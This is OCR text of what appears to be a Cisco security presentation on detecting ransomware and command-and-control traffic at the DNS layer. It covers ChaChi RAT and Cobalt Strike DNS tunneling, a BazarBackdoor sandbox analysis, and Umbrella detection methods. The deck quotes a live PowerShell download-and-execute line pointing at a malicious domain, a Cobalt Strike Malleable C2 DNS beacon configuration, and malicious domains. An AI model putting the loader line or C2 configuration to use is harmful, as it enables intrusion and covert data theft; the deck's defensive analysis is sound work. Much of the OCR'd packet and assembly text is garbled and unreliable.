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Gathering intelligence at the DNS layer

Recursive DNS

Any device Authoritative DNS
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Used to detect: Used to find:
- Compromised systems - Newly staged infrastructures
- Command and control callbacks - Malicious domains, IPs, ASNs
- Malware and phishing attempts - DNS hijacking
- Algorithm-generated domains - Fast flux domains

- Domain co-occurrences
- Newly registered domains
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DNS tunneling adoption
for C&C and data
exfiltration



DNS tunneling

IT policy avoidance
and guest Wi-Fi abuse

Data exfiltration
and C2 callbacks
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Modern Ransomware
Attacks



Multistage attacks often results in ransomware
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ChaChi RAT delivers PYSA ransomware

N dns.gry.type == 16

Time Source | Destinats Prote| Length| Info
2185 34.482899 192.16 8.8.8 195 Standard query @x3fld TXT 658fe20f408bdef4587298bala72b31ddB5deb2649754308a0a846c3a123722.d9b3F7b130b2f5bdcTba2baefasd
34,483739 8.8.8 Standard query @x59%9a TXT 20c816f7aBf20ff29713928c43429e17601@F7941169a51eb24cabfl04cBd10. eaeB6T5c45cffTd5f35534 fledBd
34,545519 8.8.8.8 2.168.2.4 Standard query response @x3fld TXT 65Bfe29f498bdefd587298bala72b31dd85deb2649754398a%9a846c3a123722.d9b3FTb130b2fSbdcTb
2188 34.54596@ B.8.8.8 192.168.2.4 DNS 218 Standard query response @x599a TXT 28cB16f7a8f20ff20713928c43429e176070f7941169a51eb24calf104cBd10, eaeB675c45cfffd5f35
2189 34.550247 192.168.2.4 8.8.8.8 DNS 291 Standard query 8x993c TXT 36dbB3Padb@9beaddblddaa3dlcl29eddIbafcbb5Tbd67b1007414407836c99. fbba6abddcca589bedIceTT48313
2198 34.616509 B.8.8.8 192.168.2.4 DNS 305 Standard query response @x993c TXT 36db83@adb@dbeaddb3ddaa3dalc@2oeddIbdfc6bS57bd67b1087414407836c99, fbbdbabddccd589bed3
2191 34.620449 192.168.2.4 8.8.8.8 DNS 295 Standard query 8xcBal TXT b9bc758edca5fai7594472882c032920243bcedBaed9e181b84c1d60fd33131. Ral8ffI74deSebb5dabf7937eadh
2192 34.686036 B.8.8.8 192,.168.2.4 DNS 309 Standard query response @xc8al TXT b9bc75@edca5fa775944728682c0329a0243bced9aed%e101b84c1d68fd3313f. 0al8ff374deSebb5Sdab
2193 34.58951@ 192.168.2.4 8.8.8.8 DNS 214 Standard query @8xfSbe TXT 17b79eb7bbB768302db7acbeadt7d4151728d1b2cdfb559d6eaddBBearcada2, 4929073790a58%bceedldefedbl?
2194 34.755869 B.8.8.8 192.168.2.4 DNS 228 Standard query response @xfSbe TAT 17b79eb7bb8768382db7acbeadb7d4151728d1b2cdfb559d6eaBd@8eaecalal. 4929873790a589¢cbcee
2195 34.780388 192.168.2.4 B8.8.8.8 DNS 187 Standard query 8x4345 TXT 65d389¢5bb6cdd674695a4733F72bbb4b3Ie58a200edf57a90962836c7318FF 1. 58c3db6RaZef93eee3dabld1e321b
2196 34.843876 B.8.8.8 192.168.2.4 DNS 294 Standard query response @x4345 TXT 65d389c¢5bb6cdd67469524733172bbb4b3e582200edf57a9b962836c73181Ff.58c3db6RazefI3eee3d
2197 34.849673 192.168.2.4 B8.8.8.8 DNS 187 Standard query @x1f7a TXT edeb3dle6387bbB575c9ff3b2eeb2@7d3770ddd9ffed1f56d2195707a8798cR.3c00a20cd372bT13cchbffealesoe
34.918535 B8.8.8.8 192.168.2.4 Standard query response @x1f7a TXT edeb3dle6387bb8575c9ff3b2eeb287d3770ddd9f fed1f56d2195f@7aBf98ch. 3chBa2@cd372bf13cchffeade

Frame 2185: 195 bytes on wire (1568 bits), 195 bytes captured (156@ bits)
Ethernet II, Src: Dell_ea:15:B8 (ec:fd4:bb:ea:15:88), Dst: WMware_B2:cb:33 (@0:0c:29:82:cb:33)
Internet Protocol Versien 4, Src: 192.168.2.4, Dst: 8.8.8.8
User Datagram Protoceol, Src Port: 55046, Dst Port: 53
Domain Name System (query)
Transaction ID: 8x3fld
F 8x@188 Standard query

Questions: 1

Answer RRs: @

Authority RRs: @

Additional RRs: @

Queries

» B5Bfe29f498bdefd4587298bala72b31dd85deb2649754398 B46c3a123722. d9b377b130b2TSbdc7baZbae f@5db26e1389135855535ecda2 f98a370. transnet.wiki: type TXT, class IN
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ChaChi RAT C2 DNS Tunneling analysis

Decoding C2 Domains A==
5=
loc_7C06B9:
mov rdx, cs:qword CO7DOO0
mov gword ptr [rsp+68h+var 68], rdx
imul rox, 3B9ACAOOh
and rax, 3FFFFFFFh
movsxd rax, eax
add rax, rcx
mov rcx, OA1BZ03EB3D1A0000R
add rax, rcx
mov gword ptr [rsp+68h+var 68+8], rax
call math_rand ptr Rand_ Seed
nop
mov rax, cs:gword CO7D00
mov gword ptr [rsp+68h+var 68], rax
mov gword ptr [rsp+68h+var 68+8], 1
call math rand ptr Rand Intn
mov rax, qword ptr [rsp+63h+var 58]
mov [rsp+6Bh+var 48], rax
call main_decode_C2_Domains
movups xmm0, [rnp-l-sﬂhﬂrar 68)
movups [rsp+6Bh+var 28], xmm0
movups xmm0, [rsp+68h+var 58]
movups [rsp+68h+var 18], xmm0
mov rax, [rsp+6Bh+var 48]
cmp rax, 2
jnb short loc_7C0771
l::Illsltl:lc;I S E C U R E © 2022 Cisco and/or its affiliates. All rigiio 1wour vou. wiovw oot s e




ChaChi RAT C2 DNS Tunneling analysis

v Answers
v 0ff5530eabfaf81c28087bla7ed31f3cAdAedan92a0112f259af@dh7eda3dbb.39¢caB7c582a941a116ddd778b26a1733debfIec7cebefBedd. enalishdialoge. . xyz: type TXT, class IN
Name: @ff553@eabfafBlc280@7bla7ed31f3clddeedadd2adll2f259ef00b7edaddbb.39caB7c582a941a116ddd778b26a1733debf3ec7cebefBedd. englishdialoge. xyz
Type: TXT (Text strings) (16)
Class: IN (@xeeel)

Time to live: 3599 (59 minutes, 59 seconds)

Data length: 97
TXT Length: 96
TXT: |@9baBf3068beeddd1IRacece52faf48caad9affc2aab2181cBbefcf4d688a51c56152bab@42b37ab53decdd1alBnf4de F?esp[N1SE

Chashell DNS tunnelling Query and Response
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ChaChi RAT C2 DNS Tunneling analysis

message Message {
bytes clientguid = 1;
oneof packet {

ChunkStart chunkstart 23

ChunkData chunkdata = 3;
PollQuery pollquery = 4;
InfoPacket infopacket = 5;
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Quantum ransomware in 4 hours

| 20:44 21:08 21:38 — 22:06 22:40
' 1§.58 Domain Lateral Quantum
18:56 Persistence Lateral
and Movement to transferred
IcedID (scheduled Movement joined systems
malware task) network via RDP JoIea sy and
discovery via RDP executed
. 20:43 22:28
.18.57 caC 20:53 21:21 Quantum
Discovery . g Credential CobaltStrike ransomware
Activity Injecte Access executed
CobaltStrike staged
on Server on Domain
Controller
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CobaltStrike DNS beacon

C2 channel over DNS

(1

1234.profiles.evil.com
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Ransomware utilizing CobaltStrike

Ransomware Attacks

« DNS Beacon is one of
the most used
Cobalt Strike features

« DNS Beacon is a DNS-
only payload (no HTTP

m CobaltStrike communication)
CobaltStrike = Other means « A beacon can be
e configured with
Malleable C2
configuration
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Analyzing DNS Traffic

Beacon configuration

Config found: xorkey ...
0x0001 payload type 0x0001 0x0002 1 windows-beacon_dns-reverse_http

0x0008 server, get-uri 0Ox0003 0x0100 ‘malicious.domain.evil/search/’

0x0006 maxdns 0Xx0001 0x0002 245

0x0013 DNS_Idle 0x0002 0x0004 123443044 8.8.4.4
0x0014 DNS_Sleep 0x0002 0x0004 10000

0x003c DNS_beacon 0x0003 0x0021 (NULL ...)

0x003d DNS_A 0x0003 0x0021 ‘cdn.’

0x003e DNS_AAAA 0x0003 0x0021 ‘www6.’

0x003f DNS_TXT 0x0003 0x0021 ‘api.’

0x0040 DNS_metadata 0x0003 0x0021 ‘www.’

0x0041 DNS_output 0x0003 0x0021 ‘post.’

0x0042 DNS_resolver 0x0003 oxe0ef (NULL ...)

alualn
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Analyzing DNS Traffic

Malleable C2 configuratio-

dns-beacon {

# Options moved into 'dns-beacon' group in 4.3:

set dns_idle "1.2.3.4";

set dns_max_txt "199";

set dns_sleep "1";

set dns_ttl "5";

set maxdns "200";

set dns_stager prepend "doc-stg-prepend";
set dns_stager_ subhost "doc-stg-sh.";

# DNS subhost override options added in 4.3:

set beacon "doc.bc.";
set get_A "doc.la.";
set get AAAA "doc.4a.";
set get_ TXT "doc.tx.";
set put_metadata "doc.md.";
set put_output "doc.po.";
set ns_response "zero";

} From https://trial.cobaltstrike.com/help-malleable-c2#dns-beacon-bm
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Analyzing DNS Traffic

Wireshark view of Cobalt Strike DNS traffic

Mo.

Time

2821-11-1@
2821-11-1@
2821-11-18
2821-11-18
2821-11-18
2821-11-1@
2821-11-16@
2821-11-1@
2821-11-1@
2821-11-18
2821-11-18
2821-11-1@
2821-11-16@
2821-11-1@
2821-11-1@
2821-11-18

2821-11-18
LI-CIPE R V-1

16:89:29,784176
129,824396
16:@9:39,831448
16:@9:39,867367
16:@9:49,898812
16:89:49,934897
16:89:59,938836
16:@9:59,977018
16:1@:89,998881
16:1@:18,832850
16:18:23,866876
16:10:23,102986
16:1@:36,1248081
16:1@:36,178858
16:1@:46,17881@
16:10:46,2192081

16:168:56,228989
16-10-56 766202

=
o
=]
[r<}

Source

192.168.111...
54.246.181.1
192.168.111...
54.246.181.1
192.168.111...
54.246.181.1
192.168.111..
54.246.181.1
192.168.111..
54.246.181.1
192.168.111...
54.246.181.1
192.168.111..
54.245.181.1
192.168.111..
54.246.181.1

152.168.111..
A 48 1921 1

Destination Protocol  Stream index
54,246.181.1 DNS
192.168.111.5 DNS
54.246.181.1 DNS
192.168.111.5 DNS
54.246.181.1 DNS
192.168.111.5 DNS
54,245.181.1 DNS
192.168.111.5 DNS
54.246.181.1 DNS
192.168.111.5 DNS
54.246.181.1 DNS
192.168.111.5 DNS
54,245.181.1 DNS
192.168.111.5 DNS
54.246.181.1 DNS
192.168.111.5 DNS

54.246.181.1 DNS
107 162 1191 & NS

Info

Standard
Standard
Standard
Standard
Standard
Standard
Standard
Standard
Standard
Standard
Standard
Standard
Standard
Standard
Standard
Standard

Standard
C+andard

query @xcdea A 19997cf2.wallet.thedarkestside.org OPT

query response @xcdea A 19997cf2.wallet.thedarkestside.org A 8.5.4.246

query @x2bda A api.ed46cd4@cb.19997cf2.wallet.thedarkestside.org

query response @x2bda A api.@46cd4Bcb.19997cf2.wallet. thedarkestside.org A B.8.4.52

query @xcbe7 TXT api.l46cd4Bcb.19997cf2.wallet.thedarkestside.org OPT

query response @xcbe? TXT api.l46cd48cb.19997cf2.wallet.thedarkestside.org TXT

query @xb@76 A post.138.81b982135.19997cf2.wallet.thedarkestside.org

guery response @xb@76 A post.13@.81b982135.19997cf2.wallet.thedarkestside.org A 5.8.4.4

query @xc5d3 A post.2d195d35695d92484de7c5ecl20e69b4d488d5c7c3ded5c4a. ef3c54facfde9adb3aseqasfebfas2s
query response @xc5d3 A post.2d195d35695d92484de7c5ecl2@e69bada88dSc7c3de95cda. ef3cs54facfdea9db385044
query @x6@84b A 19997cf2.wallet.thedarkestside.org

query response @x6@4b A 19997cf2.wallet.thedarkestside.org A 8.8.4.4

query @xcfa4 A 19997cf2.wallet.thedarkestside.org OPT

query response @xcf44 A 19997cf2.wallet.thedarkestside.org A 8.5.4.246

query @x9211 A api.e3dd75@ef.19997cf2.wallet.thedarkestside.org

query response @x9211 A api.e@3dd7s@ef.19997cf2.wallet.thedarkestside.org A 8.8.4.584

query @xc78a TXT api.l3dd75@ef.19997cf2.wallet.thedarkestside.org OPT
Anar rarannra BeeTR2a TVT and 123AA7ERaF 10007~F7 wallat+ thadarkactcida ara TVT

asco SECURE

From https://blog.nviso.eu/2021/11/29/cobalt-strike-decrypting-dns-traffic-part-5/



Analyzing DNS Traffic

DNS_beacon queries and replies

Query B 13997cfZ2 . wallet.thedarkestside.org
Eesponse A 8.8.4.4

Duery B 1998Tcf2 . wallet.thedarkestside.org OPT
Eesponse A 8.8.4.4

Query B 13997cfZ2 . wallet.thedarkestside.org
Eesoonse A 8.8.4.4

Que&y B 19997Tcf2 .wallet.thedarkestside.org OPT
Eesponse A 8.8.4.4

Query B 13997cfZ2 . wallet.thedarkestside.org
Eesponse A 8.8.4.4

Query B 19997Tcf2 .wallet.thedarkestside.org OPT
Eesponse A 8.8.4.246

From https://blog.nviso.eu/2021/11/29/cobalt-strike-decrypting-dns-traffic-part-5/

asco SECURE
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Analyzing DNS Traffic

Possible DNS_Beacon replies

0.0.0.240 0xFO 0000 N mode dns A
0.0.0.241 0xF1 0001 Y mode dns A
0.0.0.242 OxF2 0010 N mode dns-txt TXT
0.0.0.243 0xF3 0011 ¥ mode dns-txt TXT
0.0.0.244 0OxF4 0100 N mode dns6 AAAA
0.0.0.245 ¥  mode dnsé

From https://blog.nviso.eu/2021/11/29/cobalt-strike-decrypting-dns-traffic-part-5/

alualn
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Analyzing DNS Traffic

DNS_TXT queries

Cuaery A api.07311917.195997cf2 .wallet.thedarkestside.org
Eesponse A 8.8.4.68

Cuery TXT api.l17311%17.19887cf2 . wallet.thedarkestside.org OFPT
Eesponse TXT ZUZBozZImBil0EvISBocgSOinxp3I2ZbTheWxUBwanT7O0cOLP1l3eNTPgonUVOWAC+tDCheEl zdrpObONSDIERB T8 Y g==

From https://blog.nviso.eu/2021/11/29/cobalt-strike-decrypting-dns-traffic-part-5/

alualn
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Analyzing DNS Traffic

DNS_A queries

Cuery iy cdn.04fe22eff.19997cfZ .wallet . thedarkestside.org OFT

Eesponse 4 cdn.04fe22eff.19997cf2 . wallet.thedarkestside.oxrg A B.8.4.11¢
Cuery iy cdn.l4fe22eff.19997cfZ . wallet.thedarkestside.oxrg

Eesponse A cdn.l4fe22eff.19597cfZ . wallet.thedarkestside.oxrg A 19.64.240.89
Cuery iy cdn.24fe22eff.19997cfZ .wallet.thedarkestside.org OFT

Eesponse A cdn.24fe22eff.19597cfZ . wallet.thedarkestside.oxrg A 241.225.135.56
Cuery iy cdn.34fe22eff.19997cfZ .wallet.thedarkestside.org

Eesponse A cdn. 34fe22eff.19597cfZ . wallet.thedarkestside.oxrg A 127.132.170.127
Query b cdn.44fe22eff.19997cfZ . wallet.thedarkestside.org OFPT

Eesponse & cdn.44fe22eff.19997cfZ . .wallet.thedarkestside.org A& 87.30.231.4
Query s cdn,.54fe22eff.199597cf2 . wallet . thedarkestside.org

Eesponse A cdn,.54fe22eff.19997cf2 .wallet . thedarkestside.oxrg A 97.156.155.27
Query L cdn.ed4fe22eff.198987cf2 . wallet.thedarkestside.org OPT

Eesponse A cdn.ed4fe22eff.199897cf2 . wallet.thedarkestside.org A 253.162.241.3%9
Cuery iy cdn.74fe22eff.19997cfZ .wallet . thedarkestside.oxrg

Eesponse 4 cdn.T74fe22eff.19997cf2 . . wallet.thedarkestside.oxrg A 6l1.217.211.72
Cuery iy cdn.84fe22eff.19997cfZ .wallet . thedarkestside.org OFT

Eesponse A cdn.84fe22eff.19597cfZ . wallet.thedarkestside.oxrg A 154.1597.14.224
Cuery iy cdn.94fe22eff. 19997cfZ .wallet.thedarkestside.oxrg

Eesponse A cdn.94fe22eff.195997cfZ . wallet . thedarkestside.oxrg A 211.139.207.53
Cuery iy cdn.adfe22eff.19997cfZ .wallet.thedarkestside.org OFT

Eesponse A cdn.adfe22eff.19597cfZ . wallet.thedarkestside.oxrg A 150.38.89.208

From https://blog.nviso.eu/2021/11/29/cobalt-strike-decrypting-dns-traffic-part-5/
alualn
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Analyzing DNS Traffic

Beacon sending results to the team server with DNS_output queries

Query L post,140.09842910,19997cf2 .wallet,.thedarkestside.org

Response A  8.85.4.4

Query A post.2942880£933a45cf2d048kb0c14917493df0cd10a0de26eal03d0ekb1b3. 4adf28c63a97debichede20b26902d1ef427957323967835£7d18242,19842910,19597cf2 . wallet. thedarkestside.org OFT
Response A  8.85.4.4

Query L post.ldebfal6ab4786477.29842910,19997cf2. . wallet. . thedarkestside.org

Response A  8.85.4.4

From https://blog.nviso.eu/2021/11/29/cobalt-strike-decrypting-dns-traffic-part-5/

This name breaks down into the following labels:

« post: DNS_output query

* 140: transmitted data

« 09842910: counter + random number

* 19997cf2: beacon ID

« wallet[.]thedarkestside.org: domain chosen by the operator

alialn
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DNS Based Detection
and Protection



‘Newly seen domains’ category
Reduces risk of the unknown

() Umbrella’s Auto- @ 1. Any user (free or paid) requests the domain

WHOIS model 2. Every minute, we sample from our streaming DNS logs
may predict as 3. Check if domain was seen before and if whitelisted 2
malicious 4. If not, add to category, and within minutes, DNS resolvers are updated globally
@ Attackers @ Domains Before expiration? () Later, Umbrella
register used in if any user requests statistical models
domains an attack this domain, it's or reputation
logged or blocked systems identify
as newly seen as malicious
Cisco
Umbrella Protected
Reputation
systems Not yet a threat Unprotected Protected
Events Days to weeks Minutes 24 hours

B
»

1. May have predictively blocked it already, and likely the first requestor was a free user 2. E.g. domain generated for CDN service 3. Usually 24 hours, but modified for best results, as needed.

alualn
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Domain identified as Newly Seen

miterinader.space
71 The domain is classified as Medium Risk due to a combination of suspect security features.
Security Categories Content Categories

CNewa Seen Domains)

SECURITY INDICATORS ¥

Timeline
~\ DNS Queries ‘ Domain Events O DNS Changes Jun 13th, 2021 - Jul 13th, 2021
32 Max. Queries: 32
19
8




Low detection rate

?

X Community v
Score

(i) No security vendors flagged this domain as malicious

miterinader.space

cisco S E C U R E © 2022 Cisco and/or its affiliates. All rights reserved. Cisco Confidential
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Detection rate stays low even after 11 days

-

8 @ 8 security vendors flagged this domain as malicious
miterinader.space
?
X Community \/
Score
DETECTION DETAILS RELATIONS COMMUNITY

Avira (no cloud) @ Phishing CyRadar
ESET (1) Malware Fortinet
Kaspersky @ Malware Lionic
Netcraft @ Malicious Sophos

alualn
cisco S E C U R E © 2022 Cisco and/or its affiliates. All rights reserved. Cisco Confidential

Creation Date

11 days ago

Last Updated
11 days ago

@ Malicious
@ Malware
(1) Malicious

@ Malware

29



Downloaded file has low AV detection

168

?

X

Community o
Score

DETECTION

SecureAge APEX

Microsoft

@ 3 security vendors flagged this file as malicious

943017¢3097455¢cb8b465941278370504815¢7b6d680b0809ff74ad44bad8beb04
BDGmLjgM.dat

64bits  assembly  invalid-rich-pe-linker-version  overlay pedl

DETAILS RELATIONS BEHAVIOR COMMUNITY @

@ Malicious

@ Trojan:Win32/Wacatac.B!ml

alualn
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FireEye

Acronis (Static ML)

248.50 KB
Size

2021-07-13 20:48:05 UTC
27 minutes ago

@ Generic.mg.a29cfaebde6924f9

() Undetected

30



Sandbox Analysis

Extracted

Language ps1

1 invoke-expression (new-object net.webclient).downloadstring("http://miterinader.space/333gl100/index.php")

Deobfuscated 9
T: SHA1

arget
BDGmLjgM.dat | Score e06d49bff5e1bd10ac0257b76b1f8bc897871840 O
MD5 SHA256
a29cfaebde6924f90896ceb62a73e613 O 1 0 /10 943017¢3097455ch8b4659412783705b4815¢7b6d68b0809ff74a44bad8beb0s [
Filesize SHA512
248KB 3501b5fa3f7a1126fd69f10a211ed3356063c7f5f9535638d57082477b93balaf8cc [
Tags

bazarbackdoor backdoor

Signatures
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Category

can be
incorporated

in the analysis
as indicator

of potentially
malicious activity

95af2e46631be234a51785845079265629462e809e667081eb0b723116€265f3

BEHAVIORAL INDICATORS

Indicator
Artifact Flagged Malicious by Antivirus Service

A Document File with Embedded and Minimal Content
Established Network Communications

Document Submission Contacted Domain Flagged By Cisco
Umbrella

Executable Artifact has Misleading File Extension
Downloaded PE Executable

Cisco Umbrella Categorized Domain As A Newly Seen
Domain

alualn
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Severity (7]

100

100

100
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Detections

e “Reactive” and “Realtime” heuristic and
behavioral detections

o The reactive algorithms can detect a range of
tunneling, takes ~1 hr to enforce on a newly
seen event

o Realtime blocks are enforced immediately, use
a rule based method coupled with client query
behavior

‘asco SECURE

nbswy3dpfv3w64tmmgxhi6dupgztan

[NEW] Stateful Algorithm
Realtime Tunneling Detection

Developed a new technique to
identify encrypted Base32 and
Base64 messages in real-time.
Relies on transition probabilities
from one character to the next,
identifying character
combinations likely related to
encrypted messages.



DNS Resolver (Real-time Detection)

Expanded Protection against malicious tunneling tools and query techniques

fo—| fo—| fo—| fo—|
= = = o= Tools
= & &= o=
SSZ;LE&ZZQ\ _______ . DNS2TCP
DNS Tunnel ~\\‘ DNSCAT2
G DNSEXxfiltrator...
Upst Queri lla DN
pefream ~ueries F s Encoding techniques and
query characteristics
Client Trying to Base64 e
e Qtype TXT, SRV, MX,
CNAME
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DNS Resolver (Real-time Caching Detection)

Name Server Cache

» Caches frequently

requested DNS records.

* Name server info
frequently cached.

alialn
cisco
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Tunneling Cache

Signatures
* Developing proprietary

caching strategy.
* Maintain signatures
related to tunneling.

Global Resolver Fleet

* DNS resolvers
independently detect
DNS tunneling



Ransomware hardening approach

« Monitor and respond to alerts

* Focus your defense strategy on detecting lateral movements and
data exfiltration to the internet

* Lock down accessible services

« Segmentation and Zero-Trust

* Inventory your assets and accounts

« Multi Factor Authentication (MFA)

« Patch everything

et
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